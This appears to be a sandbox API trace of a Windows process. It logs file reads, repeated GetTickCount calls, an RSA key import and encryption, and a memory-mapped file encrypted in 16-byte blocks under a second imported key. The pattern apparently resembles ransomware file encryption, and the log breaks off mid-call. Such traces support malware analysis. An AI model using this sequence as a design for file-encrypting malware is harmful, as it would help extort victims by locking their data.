1 [0163.260] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.260] GetTickCount () returned 0x11688b0 [0163.260] GetTickCount () returned 0x11688b0 [0163.260] GetTickCount () returned 0x11688b0 [0163.260] GetTickCount () returned 0x11688b0 [0163.260] GetTickCount () returned 0x11688b0 [0163.260] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] GetTickCount () returned 0x11688b0 [0163.261] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668570) returned 1 [0163.262] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16395e8) returned 1 [0163.262] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.262] CryptDestroyKey (hKey=0x16395e8) returned 1 [0163.262] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0163.262] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x163fb, lpName=0x0) returned 0x380 [0163.262] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x163fb) returned 0x14a0000 [0163.263] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16683d8) returned 1 [0163.263] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16395e8) returned 1 [0163.264] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.264] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.265] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.266] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.267] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, 